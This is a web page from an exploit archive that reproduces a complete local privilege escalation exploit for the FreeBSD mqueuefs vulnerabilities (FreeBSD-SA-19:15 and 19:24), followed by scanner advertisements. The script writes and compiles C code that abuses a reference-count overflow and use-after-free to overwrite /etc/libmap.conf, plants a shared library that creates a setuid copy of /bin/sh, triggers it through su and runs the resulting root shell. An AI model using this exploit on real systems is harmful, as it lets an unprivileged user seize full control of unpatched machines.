freebsdsa19:15.mqueuefs privilege escalation

▸▸▸ Exploit & Vulnerability >>   local exploit & freebsd vulnerability




freebsdsa19:15.mqueuefs privilege escalation Code Code...
				
# Exploit: FreeBSD-SA-19:15.mqueuefs - Privilege Escalation # Author: Karsten König of Secfault Security # Date: 2019-12-30 # Change line 719 to choose which vulnerability # is targeted # # libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper # Exploit for FreeBSD-SA-19:15.mqueuefs and # FreeBSD-SA-19:24.mqueu #!/bin/sh echo "[+] Root Exploit for FreeBSD mqueuefs vulnerabilities" umask 0000 # libmap.conf has to exist because it is # the attacked file if [ ! -f /etc/libmap.conf ]; then echo "[!] libmap.conf has to exist" exit fi # Make a backup of the current libmap.conf # because it has to be reconstructed afterwards cp /etc/libmap.conf ./ # Write the exploit to a C file cat > exploit.c << EOF #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <pthread_np.h> #include <signal.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/cpuset.h> #include <sys/event.h> #include <sys/ioctl.h> #include <sys/param.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/sysctl.h> #include <sys/_types.h> #include <sys/types.h> #include <sys/un.h> #define N_OPEN 0x2 // Tweak NUM_THREADS and NUM_FORKS if // more RAM is available on the target // // These parameters were tested with // up to 16 GB of RAM on a dual-core // Intel based system #define N 1000000 #define NUM_THREADS 600 #define NUM_FORKS 3 #define FILE_SIZE 1024 #define CHUNK_SIZE 1 #define N_FILES 25 // These are temporary files // which are created during // exploitation #define SERVER_PATH "/tmp/sync_forks" #define DEFAULT_PATH "/tmp/pwn" #define HAMMER_PATH "/tmp/pwn2" // This is the attacked file #define ATTACK_PATH "/etc/libmap.conf" // These are parameters from the attack script #define HOOK_LIB "libutil.so.9" #define ATTACK_LIB "/tmp/libno_ex.so.1.0" // The exploit will stick some threads // to specific cores #define CORE_0 0 #define CORE_1 1 // Syscalls from mqueuefs #define KMQ_OPEN 457 #define KMQ_TIMEDSEND 460 // Taken from sys/mqueue.h struct mq_attr { long mq_flags; long mq_maxmsg; long mq_msgsize; long mq_curmsgs; long __reserved[4]; }; struct thread_data { int fd; int fd2; }; pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx; pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond; // Both syscalls are indirectly called to be less reliable on // installed libraries int mq_open(const char *name, int oflag, mode_t mode, const struct mq_attr *attr) { int fd; fd = syscall(KMQ_OPEN, name, oflag, mode, attr); return fd; } void mq_timedsend(int fd, char *buf, size_t len, unsigned prio, const struct timespec *timeout) { syscall(KMQ_TIMEDSEND, fd, buf, len, prio, timeout); } // Convenience function to open temporary files int open_tmp(char *path) { int fd; char *real_path; if (path != NULL) { real_path = malloc(strlen(path) + 1); strcpy(real_path, path); } else { real_path = malloc(strlen(DEFAULT_PATH) + 1); strcpy(real_path, DEFAULT_PATH); } if ((fd = open(real_path, O_RDWR | O_CREAT, S_IRWXU)) == -1) { perror("[!] open"); } return fd; } // Convenience function to prepare a UNIX domain socket void prepare_domain_socket(struct sockaddr_un *remote, char *path) { bzero(remote, sizeof(struct sockaddr_un)); remote->sun_family = AF_UNIX; strncpy(remote->sun_path, path, sizeof(remote->sun_path)); } // Convenience function to bind a UNIX domain socket int bind_domain_socket(struct sockaddr_un *remote) { int server_socket; if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) { perror("[!] socket"); exit(1); } if (bind(server_socket, (struct sockaddr *) remote, sizeof(struct sockaddr_un)) != 0) { perror("[!] bind"); exit(1); } return server_socket; } // Convenience function to connect to a UNIX domain socket int connect_domain_socket_client() { int client_socket; if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) { perror("[!] socket"); exit(1); } return client_socket; } // Prevent panic at termination because f_count of the // corrupted struct file is 0 at the moment this function // is called but open file descriptors still points to the struct, // hence fdrop() is called at exit of the program and will raise a // kernel panic because f_count will be below 0 // // So we just use our known primitive to increase f_count void prevent_panic(int fd) { mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1); mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1); mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1); } // Convenience function to stick a thread to a CPU core int stick_thread_to_core(int core) { cpuset_t cpuset; CPU_ZERO(&cpuset); CPU_SET(core, &cpuset); pthread_t current_thread = pthread_self(); return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset); } // This function will trigger the use-after-free void *trigger_uaf(void *thread_args) { struct thread_data *thread_data; int fd, fd2; if (stick_thread_to_core(CORE_0) != 0) { perror("[!] [!] trigger_uaf: Could not stick thread to core"); } thread_data = (struct thread_data *)thread_args; fd = thread_data->fd; fd2 = thread_data->fd2; printf("[+] trigger_uaf: fd: %d\n", fd); printf("[+] trigger_uaf: fd2: %d\n", fd2); // The thread has to wait for the preparation of the // race condition printf("[+] trigger_uaf: Waiting for start signal from monitor\n"); pthread_mutex_lock(&trigger_mtx); pthread_cond_wait(&trigger_cond, &trigger_mtx); // This sleep parameter helps to render // the exploit more reliable // // Tweeking may be needed for the target system usleep(40); // Close two fds to trigger UaF // // This assumes that fget_write() in kern_writev() // was already successful! // // Otherwise kernel panic is triggered // // f_count = 2 (primitive+fget_write) close(fd); close(fd2); // f_count = 0 => free fd = open(ATTACK_PATH, O_RDONLY); // refcount = 1 // all fds do now point to the attacked path printf("[+] trigger_uaf: Opened read-only file\n"); printf("[+] trigger_uaf: Exit\n"); pthread_exit(NULL); } // This function will write to many invalid file streams // // This will eventually increase the number of dirty buffers // in the kernel and creates an exploitable race condition // for the Use-after-Free void *hammer(void *arg) { int i, j, k, client_socket; char buf[FILE_SIZE], sync_buf[3]; FILE *fd[N_FILES]; struct sockaddr_un remote; prepare_domain_socket(&remote, SERVER_PATH); client_socket = connect_domain_socket_client(); strncpy(sync_buf, "1\n", 3); // Open many files and unlink them directly // to render the file stream invalid for (i = 0; i < N_FILES; i++) { unlink(HAMMER_PATH); if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) { perror("[!] fopen"); exit(1); } } for (i = 0; i < FILE_SIZE; i++) { buf[i] = 'a'; } pthread_mutex_lock(&hammer_mtx); // Signal that the thread is prepared // // Sometimes sendto() fails because // no free buffer is available for (;;) { if (sendto(client_socket, sync_buf, strlen(sync_buf), 0, (struct sockaddr *) &remote, sizeof(remote)) != -1) { break; } } // Wait for the other hammer threads pthread_cond_wait(&hammer_cond, &hammer_mtx); pthread_mutex_unlock(&hammer_mtx); // Write to the file streams to create many dirty buffers for (i = 0; i < N; i++) { for (k = 0; k < N_FILES; k++) { rewind(fd[k]); } for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) { for (k = 0; k < N_FILES; k++) { if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) { perror("[!] fwrite"); exit(1); } } fflush(NULL); } } pthread_exit(NULL); } // This function monitors the number of // dirty buffers. // // If enough dirty buffers do exist, a // signal to the write and Use-after-Free // trigger thread is signalled to // execute the actual attack // // Works on UFS only void *monitor_dirty_buffers(void *arg) { int hidirtybuffers, numdirtybuffers; size_t len; len = sizeof(int); if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) { perror("[!] sysctlbyname hidirtybuffers"); exit(1); }; printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers); while(1) { sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0); if (numdirtybuffers >= hidirtybuffers) { pthread_cond_signal(&write_cond); pthread_cond_signal(&trigger_cond); printf("[+] monitor: Reached hidirtybuffers watermark\n"); break; } } pthread_exit(NULL); } // Check if the write to the attacked // path was successful int check_write(int fd) { char buf[256]; int nbytes; struct stat st; printf("[+] check_write\n"); stat(DEFAULT_PATH, &st); printf("[+] %s size: %lld\n", DEFAULT_PATH, st.st_size); stat(ATTACK_PATH, &st); printf("[+] %s size: %lld\n", ATTACK_PATH, st.st_size); nbytes = read(fd, buf, strlen(HOOK_LIB)); printf("[+] Read bytes: %d\n", nbytes); if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) { return 1; } else if (nbytes < 0) { perror("[!] check_write:read"); printf("[!] check_write:Cannot check if it worked!"); return 1; } return 0; } // This function will execute the write operation // to the attacked path void *write_to_file(void *thread_args) { int fd, fd2, nbytes; int *fd_ptr; char buf[256]; struct thread_data *thread_data; struct mq_attr attrs; if (stick_thread_to_core(CORE_1) != 0) { perror("[!] write_to_file: Could not stick thread to core"); } fd_ptr = malloc(sizeof(int)); attrs.mq_maxmsg = 10; attrs.mq_msgsize = sizeof(int); thread_data = (struct thread_data *)thread_args; fd = thread_data->fd; fd2 = open(ATTACK_PATH, O_RDONLY); // Wait for the signal to execute the write operation printf("[+] write_to_file: Wait for signal from monitor\n"); pthread_mutex_lock(&write_mtx); pthread_cond_wait(&write_cond, &write_mtx); // Write to the temporary file // // During the write operation the exploit will trigger // the Use-after-Free and exchange the written file // with the attacked file to render a write to it snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB); nbytes = write(fd, buf, strlen(buf)); // Reopen directly after write to prevent panic later // // After the write f_count == 0 because after trigger_uaf() // opened the read-only file, f_count == 1 and write() // calls fdrop() at the end // // => f_count == 0 // // A direct open hopefully assigns the now again free file // object to fd so that we can prevent the panic with our // increment primitive. *fd_ptr = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs); if (*fd_ptr == -1) perror("[!] write_to_file: mq_open"); if (nbytes < 0) { perror("[!] write_to_file: write"); } else if (nbytes > 0) { printf("[+] write_to_file: We have written something...\n"); if (check_write(fd2) > 0) printf("[+] write_to_file: It (probably) worked!\n"); else printf("[!] write_to_file: It worked not :(\n"); } printf("[+] write_to_file: Exit\n"); pthread_exit(fd_ptr); } // This function prepares the Use-after-Free due to // a reference counter overflow void prepare(int fds[3]) { int fd, fd2, fd3, trigger_fd; u_int32_t i; struct mq_attr attrs; attrs.mq_maxmsg = 10; attrs.mq_msgsize = sizeof(int); printf("[+] Start UaF preparation\n"); printf("[+] This can take a while\n"); // Open a mqueue file fd = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs); if (fd == -1) { perror("open"); exit(1); } // fp->f_count will be incremented by 1 per iteration due // to the bug in freebsd32_kmq_timedsend() // // That is, 0xfffffffe iterations will increment it to // 0xffffffff (f_count starts with 1 because of mq_open()) // // The bug is triggered because freebsd_kqm_timedsend will eventually // try to call copyin() with the pointer to address 0x1 which // is invalid for (i = 0; i < 0xfffffffe; i++) { // just a progress message, nothing special about the magic values if (i % 0x19999990 == 0) printf("[+] Progress: %d%%\n", (u_int32_t) (i / 0x28f5c28)); mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1); } // Every dup() increases fp->f_count by 1 // // Using dup() works because FreeBSD's mqueue implementation // is implemented by using file objects (struct file) internally. // // This circumvents an infinite loop in fget_unlocked() as dup() // does not use _fget() but fhold() to increase the counter. fd2 = dup(fd); if (fd2 == -1) { perror("dup"); exit(1); } fd3 = dup(fd); if (fd3 == -1) { perror("dup"); exit(1); } // Close the mqueue file to trigger a free operation // // The descriptors fd2 and fd3 will still point // to the freed object // // Opening another file will render these descriptors // to point the newly opened file close(fd); trigger_fd = open_tmp(NULL); fds[0] = trigger_fd; fds[1] = fd2; fds[2] = fd3; printf("[+] Finished UaF preparation\n"); } // This function will monitor that all // hammer threads are opened void read_thread_status(int server_socket) { int bytes_rec, count; struct sockaddr_un client; socklen_t len; char buf[256]; struct timeval tv; tv.tv_sec = 10; tv.tv_usec = 0; setsockopt(server_socket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&tv, sizeof tv); for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) { if (count % 100 == 0) { printf("[+] Hammer threads ready: %d\n", count); } bzero(&client, sizeof(struct sockaddr_un)); bzero(buf, 256); len = sizeof(struct sockaddr_un); if ((bytes_rec = recvfrom(server_socket, buf, 256, 0, (struct sockaddr *) &client, &len)) == -1) { perror("[!] recvfrom"); break; } } if (count != NUM_FORKS * NUM_THREADS) { printf("[!] Could not create all hammer threads, will try though!\n"); } } // This function will execute the whole exploit void fire() { int i, j, fd, fd2, fd3, bytes_rec, server_socket; int sv[2], fds[3], hammer_socket[NUM_FORKS]; int *fd_ptr; char socket_path[256], sync_buf[3], buf[256]; pthread_t write_thread, trigger_thread, monitor_thread; pthread_t hammer_threads[NUM_THREADS]; pid_t pids[NUM_FORKS]; socklen_t len; struct thread_data thread_data; struct sockaddr_un server, client; struct sockaddr_un hammer_socket_addr[NUM_FORKS]; // Socket for receiving thread status unlink(SERVER_PATH); prepare_domain_socket(&server, SERVER_PATH); server_socket = bind_domain_socket(&server); // Sockets to receive hammer signal for (i = 0; i < NUM_FORKS; i++) { snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i); unlink(socket_path); prepare_domain_socket(&hammer_socket_addr[i], socket_path); hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]); } strncpy(sync_buf, "1\n", 3); len = sizeof(struct sockaddr_un); if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) { perror("[!] socketpair"); exit(1); } pthread_mutex_init(&write_mtx, NULL); pthread_mutex_init(&trigger_mtx, NULL); pthread_cond_init(&write_cond, NULL); pthread_cond_init(&trigger_cond, NULL); // Create the thread to monitor the number of // dirty buffers directly in the beginning // to be ready when needed pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL); // Prepare the UaF using the 0day prepare(fds); fd = fds[0]; fd2 = fds[1]; fd3 = fds[2]; // Create the threads which will execute the exploit thread_data.fd = fd; thread_data.fd2 = fd2; pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data); pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data); for (j = 0; j < NUM_FORKS; j++) { if ((pids[j] = fork()) < 0) { perror("[!] fork"); abort(); } else if (pids[j] == 0) { // Close the file descriptors // becasue each fork will have an own reference // to the file object, thus increasing the // reference counter close(fd); close(fd2); close(fd3); pthread_mutex_init(&hammer_mtx, NULL); pthread_cond_init(&hammer_cond, NULL); // Create the hammer threads for (i = 0; i < NUM_THREADS; i++) { pthread_create(&hammer_threads[i], NULL, hammer, NULL); } printf("[+] Fork %d created all threads\n", j); // Wait for the signal to start hammering from the parent if ((bytes_rec = recvfrom(hammer_socket[j], buf, 256, 0, (struct sockaddr *) &client, &len)) == -1) { perror("[!] accept"); abort(); } // Broadcast to the hammer threads to // start hammering pthread_cond_broadcast(&hammer_cond); // Wait for the hammer threads for (i = 0; i < NUM_THREADS; i++) { pthread_join(hammer_threads[i], NULL); } pthread_cond_destroy(&hammer_cond); pthread_mutex_destroy(&hammer_mtx); exit(0); } else { printf("[+] Created child with PID %d\n", pids[j]); } } // Wait for the preparation of all hammer threads // in the forks. // // If all are prepared, send a signal to the childs // to start the hammering process to create dirty // buffers. read_thread_status(server_socket); printf("[+] Send signal to Start Hammering\n"); for (i = 0; i < NUM_FORKS; i++) { if (sendto(hammer_socket[i], sync_buf, strlen(sync_buf), 0, (struct sockaddr *) &hammer_socket_addr[i], sizeof(hammer_socket_addr[0])) == -1) { perror("[!] sendto"); exit(1); } } // Wait for all threads to finish pthread_join(monitor_thread, NULL); for (i = 0; i < NUM_FORKS; i++) { kill(pids[i], SIGKILL); printf("[+] Killed %d\n", pids[i]); } pthread_join(write_thread, (void **) &fd_ptr); pthread_join(trigger_thread, NULL); pthread_mutex_destroy(&write_mtx); pthread_mutex_destroy(&trigger_mtx); pthread_cond_destroy(&write_cond); pthread_cond_destroy(&trigger_cond); // Prevent a kernel panic prevent_panic(*fd_ptr); // fd was acquired from write_to_file // which allocs a pointer for it free(fd_ptr); } int main(int argc, char **argv) { setbuf(stdout, NULL); fire(); return 0; } EOF # Compile with -m32 to exploit FreeBSD-SA-19:24.mqueuefs cc -o exploit -lpthread exploit.c # cc -o exploit -m32 -lpthread exploit.c cat > program.c << EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { if (!geteuid()) execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL); } EOF # Compile the shared library object cc -o program.o -c program.c -fPIC cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 # Start the exploit # # su will execute the shared library object # that creates the shell binary copy echo "[+] Firing the Exploit" ./exploit su # Ensure that everything has worked # and execute the root-shell if [ -f /tmp/xxxx ]; then echo "[+] Enjoy!" echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf" /tmp/xxxx else echo "[!] FAIL" fi

Freebsdsa19:15.mqueuefs privilege escalation Vulnerability / Exploit Source : Freebsdsa19:15.mqueuefs privilege escalation



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.